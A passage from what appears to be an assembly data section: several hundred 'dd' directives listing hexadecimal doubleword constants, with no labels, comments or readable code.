4641171h, 0FB0CEAEBh dd 3A108F13h, 0F75CFDF8h, 0C0708E0Ch, 7A198B92h, 11D333F9h dd 21016B09h, 0C092CF50h, 806A0897h, 0D0DA8718h, 90511961h dd 69805148h, 81D1A211h, 7B00AB50h, 0F4BC0F14h, 752CA76h dd 0D8FA3FCDh, 90489799h, 9414266Bh, 463B8402h, 9D3FDC57h dd 80691150h, 9EB67771h, 4870180Bh, 56469142h, 8F7FE8FDh dd 0CB0CC0EDh, 80A24907h, 35C07C98h, 0B911E1h, 92726AA0h dd 0BB9FE04Eh, 0E800DF4Bh, 4735E3ABh, 0ED51C052h, 0C4DCD37Ah dd 0CCB86F63h, 0F4083097h, 0D3831831h, 735E641Fh, 4AE50B80h dd 11A4225h, 4DE197BDh, 503AB891h, 14BA9F9Ch, 0C1A83C00h dd 19C0A4B7h, 0C08BE8B4h, 15027A21h, 801B283Bh, 0A8A06E2Ah dd 5A1736h, 2D3E31DBh, 25D09079h, 4DD440h, 0B4FA29C0h dd 599B2C56h, 8646333h, 0A32100BCh, 93B0FA61h, 0A1E2966h dd 74C06ED7h, 90BAECE2h, 55CCA0DBh, 0CD39C3A6h, 91069F25h dd 7476C840h, 16150D88h, 0F3D8D795h, 0D18E210Ch, 0C8069CCh dd 0BB2CBC99h, 1E0CCD50h, 0B0ADD8CFh, 2B048CCAh, 3C56BAFAh dd 0A127C462h, 565FFA90h, 4F7E02EDh, 0EE4897C9h, 0FA91D09Fh dd 2585180h, 683A9B6Ch, 8D944867h, 0CEE00917h, 0BED90052h dd 0FF9BD8F7h, 15F8E5A8h, 0D01EA4A3h, 0C3D852C6h, 619F3A20h dd 103538ABh, 0D22082B6h, 4399A11Ah, 45F3E778h, 0C83EA076h dd 0A0A25056h, 0F0DD3961h, 0A90CBC20h, 81BF38CAh, 185674E1h dd 20EB82E6h, 5E00AFDFh, 0D068E9D6h, 0A1ACFFC7h, 2F18F6A4h dd 56B6FA04h, 0C6329A1Ch, 0FA279520h, 0E0F5001Ah, 0EF6CE21Eh dd 0CD52D38Ch, 131B1FD8h, 4618C8D0h, 31E0194Fh, 32D8A83Dh dd 8028B84Ch, 3CF4790Ch, 0CA30C3B7h, 8958487h, 86C061C8h dd 46C4D0D3h, 7CFE228Fh, 0E3D3030Ch, 8E2AC2ADh, 6114D8B3h dd 80CC1ACDh, 7952C433h, 40A8A2A1h, 86FBBF10h, 7D92DD04h dd 6662AA19h, 92F55620h, 18727D90h, 19965447h, 7C31EC99h dd 9F97C0D1h, 56D479A0h, 3D1CACCCh, 0C56C8FAh, 9743BFC4h dd 0BAE9FA35h, 5087CF96h, 2D30B645h, 0C18CB937h, 61660760h dd 35D801CAh, 7701E1A5h, 6452C4A6h, 9C9B8428h, 79022646h dd 67C4DDD3h, 0F003467h, 3E75D382h, 36200188h, 0A89F83A6h dd 1841A858h, 0D035CCFDh, 892C1B34h, 6762E404h, 8750830Ah dd 0A0F8D340h, 42FC74E5h, 1F0EE8F1h, 2AAF5000h, 0BC96C530h dd 68C239B3h, 9341C37Eh, 1D8F97Bh, 0F49294C3h, 3146FD4Ch dd 4648598Ah, 0B50E9185h, 0EB0B80CCh, 0E5011D6Dh, 1F8B56E7h dd 59C81EA7h, 0C39C0CB4h, 9A70680Dh, 57A28301h, 96DD54ACh dd 0E8213435h, 0B13EC1E8h, 0F8020814h, 7C92D260h, 7518E919h dd 0CA5388h, 573BEF92h, 8DB87FFDh, 0F995A9C0h, 90012821h dd 0B00F00B9h, 0DEB34C69h, 3113838Ah, 6C2024F8h, 3B8C9A23h dd 38008221h, 0E5A11D9Dh, 0A42456ACh, 2174809Bh, 168CE049h dd 0C8A318CBh, 85C06240h, 46C4D1D3h, 13897087h, 0F1C9A20h dd 6BD8AAF7h, 0D0E64AE0h, 2526570Eh, 0CF8630BFh, 0C1CA24h dd 5F7CEDDFh, 0E56E99EBh, 697BB700h, 3A192A95h, 287558F9h dd 8CBFBCh, 3DC43BDFh, 63E934C9h, 302C4A01h, 4D9ED0C2h dd 0C561820h, 0D124D995h, 8F004539h, 5F01C889h, 3C5E91A5h dd 13850B68h, 80487FA2h, 0A8D90C1Ah, 4E9D4712h, 0C0C9CC08h dd 56BBFA2Ah, 224C3452h, 629E00C8h, 0BBC648FAh, 7F09E5EAh dd 42D6310h, 0A3408F7Ch, 848D56DFh, 2CFAD4F5h, 3550400h dd 0E71399D0h, 0A33001BDh, 6146E031h, 302425A0h, 0C0A84BDBh dd 71C0D224h, 0B09B9379h, 748F48DBh, 0E427E315h, 0DED38080h dd 4CB15FC4h, 0D3890EC0h, 66A6006Fh, 0BEE6778Eh, 8B83A53h dd 0A0407800h, 4E90FF12h, 0DAED14BBh, 0C209ECE9h, 8402C80Dh dd 0DE18FBBEh, 19801192h, 807D88B2h, 0B992F657h, 0C21F8197h dd 7383AD6Ah, 0B07FDC7Bh dd 0E262Bh, 8E30D723h, 0D234EE96h, 197EAC00h, 6E59E2BBh dd 8B282926h, 186B713Ch, 0CB9401DAh, 153E8F06h, 321AC5D0h dd 0A0700450h, 5B02A2E2h, 0F8C8BCD5h, 6B489DC2h, 8C6AE8F8h dd 5BD85A01h, 1BB2BCBBh, 58351FF0h, 13092486h, 0F89D01ECh dd 0F880BC11h, 0AEC70F21h, 4182DA01h, 0E0DDB6A9h, 4135CC52h dd 87186000h, 0C4F7D31Fh, 210119E3h, 0BCD3CC0Dh, 3414FB07h dd 9870BE1Eh, 3242C4D6h, 11B06FD5h, 89B3AC86h, 0A69FD009h dd 9B4C7037h, 0EFEC78BCh, 0D4491026h, 15D8DA60h, 5D1E00C2h dd 9E8D5292h, 0A5130CB3h, 2408A872h, 4A280CDh, 98BAC05Fh dd 264ED10Eh, 34194217h, 1DE86A1Fh, 0C63CD8h, 2B5D26C0h dd 19ABAA45h, 281BA59Ah, 9E4820B7h, 16A01408h, 54F3058Bh dd 7F3C90A2h, 0FC944730h, 3E6F3A87h, 12FF7DE0h, 378C3DA6h dd 0D1FEBC00h, 78A0FBE5h, 0ACDF4102h, 64761B75h, 835504E0h dd 88C58F89h, 1B007208h, 254AAC4Fh, 1BA1E95h, 13565797h dd 48033F3Bh, 9209D170h, 1CCA1989h, 0C9520B80h, 7F00A092h dd 397CC22Bh, 0E7E6AF09h, 0C20C65C7h, 1C1956B8h, 77E7B140h dd 4744095Fh, 1402A011h, 0F40FAB93h, 8C7CAC50h, 0CE4C200h dd 778FAAEAh, 1EF6051Fh, 2B26CF3h, 49474CB4h, 0C0CDA048h dd 6DF6C812h, 1C63D801h, 3024F99Ah, 3017FE3Dh, 0E1B04C39h dd 70A4824Dh, 2F14B704h, 0B867A9A8h, 14BF6580h, 160FBA57h dd 8C140A0h, 0DC3F7224h, 5124C05Ch, 3DDFD0Eh, 0D9DEC6B8h dd 0D4B0984Bh, 8464D7C4h, 0BB608E78h, 0A8102B14h, 0B6C8B409h dd 15037980h, 5CEBA0E1h, 0DC106C6Eh, 0A0CA24C7h, 0D43A8717h dd 0D4E04910h, 5D220AC4h, 300F9C89h, 0E93A0158h, 31E0FBB7h dd 83AD0ECFh, 7E8FDD26h, 4B6EEF07h, 98F6C822h, 9D1FD0A0h dd 5012F026h, 4864A76Ah, 320078B2h, 989CBC3h, 0DA0FC00Ch dd 253ED907h, 0C8C00B75h, 0F24B7093h, 5E1C9C7Dh, 1F01C546h dd 249A3640h, 0E21980C7h, 5E4BF219h, 0F0A5A3B2h, 1FEB8C1Eh dd 7C0BD207h, 9D4CBE8Fh, 1800E53Fh, 0E35D1319h, 99796A80h dd 18C879C0h, 7B8F80Ah, 8A5EF9B7h, 848BC940h, 977C8602h dd 9094E450h, 0BF465Ch, 34CBB6A2h, 7A531249h, 303C025Eh dd 66F268A8h, 79A100DDh, 0C1D9B4ECh, 9F7EB7C0h, 3F7424C4h dd 0DD4A2802h, 70BCFFD0h, 1B8546F8h, 0EA5014B6h, 604046B3h dd 0BE662192h, 4FE40D14h, 7AD42A3Ch, 8B41D48h, 0D1A526A0h dd 2C419348h, 0C1278400h, 3608029h, 0A0EBCBC9h, 2AC1FC70h dd 0C85428F7h, 0D37CC063h, 7F46C4D2h, 1269F530h, 1EE6D385h dd 7AE6F112h, 53548821h, 75D4F471h, 6C8301CEh, 0CD8E607Eh dd 623117C9h, 69804448h, 36B6F7Fh, 0B803135Ah, 1D05F79h dd 0A0D1CBCEh, 1789B5F8h, 2FAC0F28h, 0FF23A0h, 91488CECh dd 4C9C0CC4h, 9EF6AD04h, 24A4A090h, 0E612000Dh, 0B61E9B2Eh dd 7C7E799Fh, 0F270F104h, 0F4DDF72Bh, 3090E002h, 290814B5h dd 58B419A8h, 140FFD7Fh, 408B8918h, 98F1427Eh, 218860B9h dd 6D29A904h, 0B12410F0h, 8501C6F7h, 5845142Dh, 2551DF8h dd 80C0E1E0h, 0F88E9EFEh, 0F95401F2h, 0E24861E7h, 85B288A0h dd 8B0BD88Ah, 10A6FD9Fh, 86F7FCB8h, 8692F804h, 68628219h dd 92D05120h, 0AB4003E1h, 24BAF2EFh, 333FA905h, 0A6C2114Ch dd 71BC5179h, 1E6918BFh, 26061CBh, 0AF25367Fh, 0C90B0EE1h dd 82CC45C9h, 0E87089FBh, 69D15499h, 101E0518h, 2E012267h dd 311AC433h, 99CD8064h, 4D8BD0FCh, 321D1286h, 87300CCCh dd 46168F19h, 70806755h, 0A84FBF9Fh, 301F4490h, 917098B1h dd 3892510Ch, 31AABD4Ch, 3CF41A4h, 1A8E8020h, 82885DCh dd 0FC174898h, 0FE48BF00h, 0E2D1ACCAh, 762EFC72h, 93B52E53h dd 6C61C068h, 0A78A26Fh, 0FD1FF71Eh, 0DF71E207h, 2F25B780h dd 0DDED04F0h, 81367CACh, 0CC207EC8h, 555B4AC8h, 0B1B1C01h dd 0A883CC5Dh, 43A91AE4h, 0C231C014h, 974C2D88h, 80939150h dd 0EFC85ADAh, 3FD10043h, 0AE0DF5A8h, 0EC902528h, 0F9318032h dd 5DC9206Dh, 0A90007EAh, 0A375F37Eh, 9ABF31BEh, 0B9932550h dd 1CD6C4C8h, 0AE387779h, 0F9B0B43h, 3C3C1025h, 0A190AFh dd 0F593BB8Ah, 6728F2B6h, 83CC9B00h, 6A6205E8h, 0E893B5h dd 0FEF6A028h, 0DD244E90h, 467414E1h, 11B80092h, 0EF63958Ah dd 0D64BE2h, 70312194h, 684882D0h, 56E5C0DCh, 0B0F5CB25h dd 0AC222D08h, 818F58B5h, 6BF3A0E2h, 0FC7970ADh, 84D55525h dd 53386E0h, 8EDDBE6Ch, 2C54A9CFh, 0A8085488h, 6FC24B5h dd 88EF32EDh, 4A01DD77h, 0D8F7C403h, 0EC2DF313h, 9A674D00h dd 0D54A8D6Ah, 0BDD10400h, 852F3E97h, 5CB858CDh, 9E4782Ah dd 9047D6A0h, 60ABD040h, 28D8C427h, 0A325B0D8h, 80CA3660h dd 0C1E6BB1Bh, 1423D969h, 15A8EB3Ah, 0B100BE82h, 0DAA8EDD0h dd 5AA22Fh, 846B9C91h, 0E24F1B96h, 51031F00h, 0C1D1B171h dd 0BA593A90h, 98253F00h, 37EC7CC5h, 6435500Fh, 9EE80399h dd 0E4CCE060h, 57CB005Ah, 0E261060Dh, 4A765417h, 56B56312h dd 0C280151Eh, 8FD01E93h, 0D14C38AFh, 15101A80h, 0D654B78Dh dd 90563B2Dh, 94DCB940h, 46DE0F18h, 898899AAh, 0B780BF30h dd 698FE37h, 23303248h, 14C00187h, 28B1A82Eh, 87CB0ECh dd 0C1180015h, 81A04169h, 252F4C55h, 28040287h, 24C4DAC8h dd 74D8B113h, 8056B621h, 0B3ABF8A7h, 545EBC93h, 58CB5812h dd 30DFFBC4h, 0B48D99Fh, 132DF75Ch, 6DC32018h, 0BCFBF04h dd 4890D325h, 3845ACE6h, 0A00079FBh, 18BFA5F8h, 731FE28Ch dd 86DDA117h, 215E98AEh, 7E8156B7h, 41428F79h, 0C8969A42h dd 3ED5B9Ch, 97C9590Ah, 0B4AD4635h, 131019FCh, 4A73AFA5h dd 0C8388B2Ah, 9EFBC066h, 3068C5Eh, 0DBD88E93h, 11CD2FE9h dd 0ACDF88A3h, 2DBCA491h, 0D0AD09A0h, 0A80CDA12h, 904A950h dd 87791AE5h, 0C435C8A0h, 8459D942h, 0A1F44368h, 5A0C4D92h dd 78004E90h, 6CB4C7Eh, 6911131Ah, 74A488DFh, 0AC68679Bh dd 0C4996058h, 9C00830Eh, 180A3E23h, 1E937FA2h, 0B530706h dd 0E505BE0Ch, 0FD780094h, 0BB709F8Dh, 0C9608B04h, 0ECC9B346h dd 20220DF1h, 41B92863h, 7E0B3900h, 0DCAE48D5h, 0D4E312A5h dd 0A0C8E2Dh, 0C49FF6AEh, 1584ED80h, 161DAC2h, 6AB97EBBh dd 0EC7A5BFDh, 992C4AC5h, 78C27092h, 80707C48h, 5FC4976h dd 0A00178Dh, 0DB4A386Bh, 97607D9Ah, 0F01BD2D0h, 0C580CF61h dd 578068E2h, 1F6983C1h, 1D1CFC7Dh, 0E341840Ch, 8D222BCCh dd 88747860h, 31009F1Eh, 0C8A371FDh, 1C3DF5C0h, 0C1CA17CCh dd 0B00C4096h, 0A81070EBh, 74F1E4B9h, 0ED09D818h, 8BA91EBAh dd 0E42465B0h, 0B8686301h, 7921F86h, 825874C1h, 0E2E19454h dd 30B5F2E0h, 0DF0BB1FDh, 8568DDAEh, 89297DAh, 79AC5184h dd 0EC51893h, 0F0ED7A27h, 0F80C6C61h, 7C2882A6h, 0C85AC8A8h dd 0D71612ECh, 8E1882D8h, 0E84BE454h, 2CA4D75Ch, 0A2785A1Eh dd 1AC40980h, 0F0A53E19h, 523C188Dh, 6803EF45h, 0FBFDFEBBh dd 1315F9B7h, 7D2460FAh, 319381C0h, 0F3F82600h, 8053E806h dd 0CA86065Bh, 899AF152h, 3F8944h, 4BC1CC64h, 85D276FDh dd 28D7F00h, 7AB67DD3h, 0DF5E14B0h, 8BE8AC5Bh, 489F2F8Ch dd 0C0626825h, 0C380D2D7h, 0EC409500h, 59493B69h, 0F9A417E8h dd 0D6E43061h, 14715BDAh, 16DDC10Fh, 0EFF02160h, 0C029C7E7h dd 587270ACh, 0F2368300h dd 0A4C6687Eh, 285E4EACh, 0D58B6278h, 9F259804h, 0A4EC7B01h dd 207875AEh, 436BC038h, 80C4D9h, 626EAAF9h, 2CC54EAFh dd 0D5D45004h, 0E23481CCh, 30C5B248h, 6200CF31h, 0F13AE4D6h dd 0B6D8FBB5h, 21E8A85Ch, 0D48FF808h, 0E219C492h, 65B054A8h dd 0FE0092CCh, 2A68C0B3h, 4C4E9102h, 9C48A850h, 898AC49h dd 0C9C0E9Fh, 0C024BCA4h, 0A1D9240Ch, 0A320002Eh, 23F46CB2h dd 0E9053BEDh, 0B993B5F7h, 7045488h, 0C22EF061h, 1B68302Bh dd 0FD2F56BEh, 31680B92h, 2E2E76ECh, 0C823E0h, 0BEB0CA5Ah dd 0C4B1FB42h, 66BD2F00h, 63E9120h, 60DD567Dh, 481A70F9h dd 4740DA2Eh, 0DFF54264h, 2AA4C18h, 44380D8Dh, 0ACC83157h dd 0C4E6EB19h, 5202409Ch, 3DF80992h, 6DA54107h, 8E9997D0h dd 90A5B7CAh, 111C88EBh, 885008F3h, 851C82CBh, 0C880A00Ah dd 55C0CBAh, 78D3586Ch, 1DAFDE00h, 85FDBF39h, 0B5D13113h dd 5746D8C1h, 9520437Bh, 0ADA7B958h, 0B13C2311h, 0E40C4D8Bh dd 0D7CA5401h, 485CDF84h, 0AEF4042Eh, 45E707A4h, 0AC43F885h dd 9AFB4Dh, 63512471h, 69443E25h, 109065F6h, 0A4211717h dd 56F5BC02h, 0A8E481ECh, 4479DEADh, 500061B8h, 0C1F5BC53h dd 0A123CD9Ah, 2DE2CE0h, 88A35B24h, 39009BFBh, 75C17C0h dd 2D29CB7h, 0CAEADF38h, 9490B9FCh, 0CEF4CCD4h, 0DCFC0F50h dd 0A7BFD701h, 26A0BAA2h, 0E0B440C2h, 0CBB60B14h, 8261D52h dd 591240D6h, 504CF325h, 2F8F50E5h, 1007C035h, 72C680ADh dd 9892B9DBh, 8805F182h, 5CCC9290h, 0E6E0FD00h, 3E10B6E2h dd 4CF9913h, 0BDD6D0B9h, 43951CC4h, 709392C9h, 0A79F13B4h dd 0D3642248h, 712D3E20h, 6DCE1F8Eh, 80ECC00Dh, 6C321B9Ah dd 4B04E303h, 56E196D5h, 0E8075090h, 0FCD8F31Eh, 5B2546B8h dd 8E60A097h, 0EC31DD96h, 4E633EACh, 7B54460Ch, 38C81921h dd 4AC404B5h, 450A0CDh, 30CC8D28h, 909AE73Fh, 2418BF18h dd 0D056180Bh, 44C8194Bh, 9E6220A0h, 604FB97Dh, 26AC49h dd 0B3ACB83Dh, 474630FAh, 0F6C4D219h, 0C7A08000h, 7DE941BEh dd 53B33E38h, 45E4C8ACh, 89F88158h, 9898A93Bh, 0C06E7424h dd 1BAB31F2h, 0AF6501EAh, 194AD075h, 9F3089CDh, 7E64F2C2h dd 7C1100ADh, 0C03699E2h, 8B1DFE8Fh, 972F56D9h, 807491FCh dd 50C31941h, 528BEAAh, 8443847Fh, 3D54000Ch, 22CF30C0h dd 591D1C90h, 0E9251613h, 28249CDCh, 1C25174Fh, 0A701FBEh dd 80BC2BD2h, 92FE037Fh, 0BB181B83h, 5568BE50h, 0E088007Eh dd 0CC1C28ADh, 324818CAh, 0F4BA0950h, 0D1AC71A3h, 18918C7h dd 44E09530h, 3E9B6527h, 0F8C4EC02h, 0E2690EACh, 608084A1h dd 0E851EED2h, 6827B42Ch, 9A7FDC18h, 40894A74h, 0D0423080h dd 109084F2h, 0BF8F0A6h, 80A8A13Eh, 0FCA6993Eh, 2277AC2Eh dd 1899958Fh, 86E049D8h, 0C0ACDF48h, 0E58D45ADh, 753C065Eh dd 6CF3F041h, 79DC5F01h, 9B197770h, 546C3849h, 18CFBACh dd 55EF3ED4h, 7C5AC739h, 4DFA1030h, 0EC1B7200h, 70DDB6ACh dd 28C93C26h, 93D82294h, 20B0FCA6h, 7C0B65CDh, 82A60C36h dd 0E98D1A9Ch, 0D4343154h, 6D0B2719h, 528FCCE0h, 0EC93A528h dd 2F5F4Bh, 0C04D9210h, 0D30C2806h, 48E4129Bh, 0ECF8C857h dd 88D7DA00h, 9ABABED2h, 7B920ED8h, 0DDEF6010h, 85261434h dd 0B794005Dh, 837E6777h, 885F182Ch, 0C4E6B02h, 0DCB45C3Eh dd 0C9EDEF00h, 34C2FE1Dh, 187790DEh, 0F06DA122h, 0D9120D9Ch dd 0B8000E69h, 0BBCF6380h, 25B93089h, 288EFF99h, 3B0FD39h dd 0DC508F7Eh, 8491FC52h, 29ADFFB9h, 91913017h, 8E77E180h dd 8C2E9F80h, 0B208C466h, 0C1C200E4h, 25CC6CB7h, 7F81F4B4h dd 43EE6311h, 17CA3060h, 44993D52h, 0C93CBB78h, 27ADF038h dd 0C1C80CA0h, 3FCD2184h, 14BD3809h, 0E6903F00h, 88101694h dd 8179E034h, 1AC9EB44h, 0C04D7925h, 7C860E60h, 3DD90198h dd 0FB9A85A1h, 0A0E4EEA0h, 0D552C40Ah, 4C085842h, 0D72416B8h dd 0B3E7E088h, 353D29B0h, 548589F3h, 70ACDB89h, 9003CACh dd 15E4EFDAh, 5C68D0D4h, 0D68084F6h, 40FF0FB9h, 0BC47C900h dd 0D2C6DBCDh, 403CB190h, 9E93A8FAh, 920CA401h, 4F46EEB6h dd 79068429h, 0C8C328C4h, 0A517D212h, 3E8EE4DBh, 0C71C55C0h dd 0BE583874h, 0A02525E4h, 8452BC04h, 68B9A0BBh, 6D6F12F7h dd 2190D047h, 9B00A93Ah, 0E70E7342h, 1B3D540h, 76B10F47h dd 60509ED8h, 0CA403060h, 0C68B01B7h, 6523CC52h, 561B00AEh dd 0C02F4B94h, 0D4DDC178h, 0E0814A4Eh, 5EC9CCF5h, 324C8478h dd 0AC01EA07h, 0E8D3A1A4h, 2C46F0FCh, 6A14CC01h, 7980BBECh dd 4890C4D3h, 64D55702h, 0A00E41D8h, 51605234h, 3B25C060h dd 0EFC40361h, 0FF22FDDEh, 378D6918h, 0E4ED5619h, 0BA30C044h dd 0BC9FDE24h, 0E4DC664Eh, 4CAF00A5h, 0AA6CB68Fh, 8414043Ch dd 0EA043DA1h, 0C90016E8h, 0FE67C82Ah, 0F36D1E0h, 0EA7BF120h dd 18CB985Ch, 70677FF4h, 9651CA31h, 45F07C57h, 0F16C01F8h dd 54BD7BF0h, 625980FDh, 483FB05Ah, 0BE8B0012h, 4509798Fh dd 3B000F58h, 74050C81h, 0A7D3E9h, 34B3F26Eh, 4ED510EEh dd 4A47003h, 0C1772A9h, 552E9889h, 7D7B8070h, 0BC8DC93Eh dd 8C830065h, 0A83746BDh, 86741CB1h, 12650h, 0A33C211Ah dd 0B6318A47h, 76FA9807h, 0AEA7CD0h, 98EB0AFCh, 797A0270h dd 880C924h, 9D631207h, 3AA87E0Ch, 2E8C886Fh, 0AB5EDh dd 0FF72D946h, 51006CF0h, 0B988A770h, 7D1C26Dh, 0A2621E73h dd 67FC2B6h, 45188A0h, 0B5060B61h, 0E12446CCh, 7E7A1EE8h dd 81907094h, 51D897EFh, 80D01418h, 541FEECDh, 551E4FDFh dd 93925130h, 3E6FE4Ch, 567523BBh, 3000F5BCh, 6D5C211Dh dd 0A499D4Dh, 0D5DCC487h, 74B30380h, 5900A47Eh, 0D27DD30Eh dd 0A0DD9AB0h, 0E11ECE0h, 18FFB203h, 57224620h, 0AA0235F3h dd 0CCF9DAC7h, 80848F19h, 0B5A9504Fh, 30A8EE0Bh, 3F1912A6h dd 3B0287B1h, 42C88104h, 54C0010Ch, 0A9B980F2h, 6CC7F8D9h dd 88EA00F9h, 0DF6E7E4Ch, 0AB0F6524h, 783EBDDh, 0A344013Ch dd 13993890h, 0E1146077h, 0C438FF7h, 0B503B0E2h, 912B04A9h dd 0A8A0A064h, 0A172076Fh, 8CC886EDh, 0E6145F40h, 0A0E958h dd 0B8D611B3h, 72FA4B65h, 28950012h, 13D3E456h, 0A53E9C81h dd 0FC5F0062h, 83E36E79h, 38487D6Dh, 1E037290h, 0E77F7899h dd 747C69E0h, 3429B600h, 5463E18h, 0C004A519h, 0DA6BF2D7h dd 7A1868E2h, 39193FEEh, 50C261A8h, 0E0A704B8h, 66800C02h dd 9E4B00E7h, 3D65217Fh, 647450C7h, 8C596960h, 0BD4B4Fh dd 0CA12FDFFh, 513422B5h, 0B83C8150h, 674F3D07h, 658017C0h dd 8040909Eh, 27005D14h, 856E3A5h, 0EE3995C6h, 336CA02Dh dd 7D971140h, 0A879000Bh, 4A1FFC1h, 9A1118A3h, 3DE3080Ch dd 10DA20C0h, 38643C2h, 0DF5F7E90h, 1674DEF7h, 249E5728h dd 0BD823703h, 0C04C4A79h, 30A718EBh, 0A5B1115Eh, 0B5007D2Fh dd 54EC8389h, 0E8DDCB92h, 4199DEBBh, 0D81E7AA7h, 73E0D496h dd 56389D18h, 0EEFE87F1h, 0AFA8009Ch, 0E1E87084h, 2200C001h dd 6D2A95Eh, 541018E9h, 4A2385Fh, 0DB89A87Ah, 0F33D9h dd 7ADA5321h, 0D8C2896Fh, 6B0BEB00h, 3DB6FFE2h, 0AC695493h dd 8C0905B3h, 0BA1377h, 1C2146A8h, 9006920Eh, 3716884Fh dd 22FB00C0h, 118BCCDCh, 0C900DB59h, 33C8D449h, 3BA82CB7h dd 5F031E66h, 9D712AB2h dd 0F0D702C1h, 2674302Fh, 0EC7E7500h, 0A98ECCFAh, 0E89F0F68h dd 0E60F861h, 0A2668F62h, 0D5CE7801h, 743DCC86h, 0E82F14E8h dd 5121C00Bh, 0D978CBF0h, 0D3AE6A0Ch, 1F978B9h, 0B7917BC1h dd 38F547Ah, 0FCE1D8C2h, 0C35506EAh, 85DE30Eh, 23213060h dd 5EE262h, 0D9B615CDh, 0EA68142Eh, 0A3187800h, 1E2FB97Dh dd 0E29800FBh, 267F483Dh, 540C884Eh, 911A802Bh, 154F3D58h dd 63E8CA03h, 0F9C876E7h, 0B0009AFBh, 5D1194B9h, 0C3A4EB16h dd 4E79F6A8h, 41DA8107h, 8CD3D5BCh, 50C676h, 0ED81FBA7h dd 0C1CDACC8h, 4ADF0800h, 0F25B4211h, 1B606EFh, 30682E0Bh dd 6FC7F0EBh, 0BD00A876h, 95969DADh, 97803h, 9457C8A9h dd 0F6EFBBAFh, 795B6633h, 863AD86Ch, 0EA1E0021h, 673C8B06h dd 95029D8Ch, 917C1189h, 0F3A4B0B1h, 0EAFA1DE1h, 2791A1E5h dd 0E25C150Fh, 80F78C60h, 0FA07D3C0h, 8E1419F3h, 0A0AD4D53h dd 18F101D8h, 0E809228Ah, 9401F986h, 0B4969FF2h, 2995E78Eh dd 768489h, 0CD619501h, 9B2271E4h, 12472A39h, 37079EFBh dd 0CEE0861Fh, 3860A3EEh, 0A306609h, 0C92F6291h, 29EBF401h dd 124DAEB2h, 39082AEBh, 517C9Ch, 0DA33B3F5h, 9C7747Fh dd 0E4DCFA0Ch, 2AA88F9h, 2CA28CCCh, 44881A3h, 5400870Eh dd 0C60BDA4h, 0F30E92Bh, 69091F34h, 0B817E3E6h, 61BF7E18h dd 0FE80A88h, 687D95F6h, 4D69A5A1h, 6BEB30E9h, 8F3DE00h dd 0DCAFE499h, 8AA030CEh, 0CBFA6858h, 809B893Ch, 2214A9CCh dd 1240A1D5h, 6E7C0B34h, 0BB600070h, 0B270E7FDh, 14D802A7h dd 0AFCFD0EBh, 0CC754841h, 0E8903532h, 6C276915h, 0C39F06C0h dd 2182B4Eh, 83E820D7h, 0E49DA7AEh, 0B2816E11h, 0F93391D9h dd 9E1ED8FBh, 59323490h, 30F350E2h, 0FC0894F7h, 64AD469Fh dd 0FFA7408Ah, 9D6F94h, 1A21DCA5h, 0F88E13C4h, 37E59A18h dd 0F44ED0C9h, 0F0085C85h, 858F601Dh, 191F39Bh, 0FB0EB8Ch dd 218047BBh, 334DA1h, 28A32A21h, 4EC12E7h, 8A7F5C01h dd 36FC80F8h, 2B0055B5h, 4304E130h, 542501DAh, 1CFD5C87h dd 0A39FF694h, 61006F11h, 0F35294E5h, 0C503A2D1h, 18CD877Bh dd 90A004C3h, 80C7A51Ch, 0ED61E76Ch, 7701889Bh, 8486D4CEh dd 5C880A18h, 64CB07EFh, 0F059D819h, 95B08587h, 9EA058C3h dd 929151Ch, 97880D7h, 0CE98A316h, 0ED1A7090h, 0F9005998h dd 37218E7h, 91094C66h, 0F4D580A8h, 0ADD22C77h, 5D384486h dd 83F5BD3Ah, 0EB06F8BEh, 88329220h, 0F211F0B0h, 0F9944A80h dd 448C4E9Fh, 7200A68Bh, 0DCBDF894h, 0F2EBD4A4h, 0D66D04E6h dd 9524DD86h, 0B5990FC0h, 0C4F0B82Ah, 631820DCh, 0F01C85D4h dd 58002816h, 0B6DBC909h, 0A87F7C71h, 0EC2D90h, 5D19993Ch dd 0ADDDE7FAh, 0DE05F477h, 72660CBEh, 0F5AF8860h, 432976F9h dd 3422AEh, 0EBF5B84Fh, 90D49886h, 82E74307h, 0DDA6CDC9h dd 8DB63A98h, 0C096CC99h, 6C426FAh, 0C087AE55h, 0D2CB8028h dd 1894610Fh, 339FC6h, 1BBC7F75h, 10DF7315h, 94359BE0h dd 16288961h, 199E3483h, 582D988Bh, 232020A0h, 34DA48BDh dd 0E60EEE23h, 7C8624CBh, 61C161h, 3CC1E5Bh, 0BAD4F3B8h dd 3900077Fh, 4B70D94Dh, 10398Bh, 9640FAB0h, 0D27FDB2Bh dd 0E2AF8700h, 8176C29Dh, 7A863969h, 6AF002C0h, 81DCED3Dh dd 45ACE1D7h, 58227FEFh, 21839800h, 0CD5791A2h, 258CB4Dh dd 95CEB44Fh, 379C48A9h, 0FE7A04B5h, 8261656Eh, 0D868D1E0h dd 0C021A586h, 19931A9Ah, 0F4DD848h, 0E422D881h, 0CA307DF2h dd 0BE7138E1h, 9FF3F90Ah, 0E85F62ACh, 620C8817h, 0BF1F2D60h dd 67B21099h, 0DC02005Fh, 0A5B58B7Dh, 0FAAF3FECh, 9CAE6E02h dd 4448A809h, 3D0E4EE7h, 571E8E87h, 5CB04C01h, 0D433A086h dd 0D0338BA2h, 576796Fh, 0C5A868F4h, 46368358h, 6D2481F4h dd 9B59024Ah, 1F683FC8h, 94E30243h, 9CE69FE8h, 4B631DA0h dd 651EC094h, 0F8E8DC86h, 0CD35E203h, 0E545C9Ah, 48148060h dd 132C7F40h, 0C8983AADh, 71D4C90h, 0F468DF35h, 10A69544h dd 0A55886h, 518E2209h, 789D4410h, 1DCA7D82h, 0D585205Bh dd 8009AC53h, 0E8A03D26h, 1FE9314h, 706EE604h, 40889FA2h dd 0C43D1B87h, 23B3587Dh, 6340E164h, 155E38D3h, 0C8AD0B11h dd 0CAE8A900h, 3A37AC3Fh, 0B6F04A00h, 44242372h, 0F3130007h dd 0CF7FF1F9h, 83780C82h, 88DAE24h, 96DCFC82h, 649860FAh dd 81DF0A76h, 809C7389h, 0F39F7C15h, 3D001A33h, 5AE213D7h dd 4A147B8Ah, 0B0D9019Eh, 0DE08C8D8h, 0F278F464h, 0CEA492Eh dd 84156986h, 0A1B67051h, 98813184h, 0CD4B87DDh, 0F930931Ch dd 0C0E57808h, 29ECF4CAh, 4486ADE8h, 0B3094C2Dh, 82978EF5h dd 0CA9CD535h, 82CCC240h, 1A7F6288h, 87AF72C0h, 882F1C24h dd 61A362h, 0CACBF24Fh, 419089FCh, 26064307h, 0AD61DCBFh dd 7832BA27h, 0B00AA325h, 0C0650318h, 0CDD2E7B5h, 71CBF444h dd 88A817E8h, 256061B7h, 250F096Ah, 880803E6h, 0D5DE00D0h dd 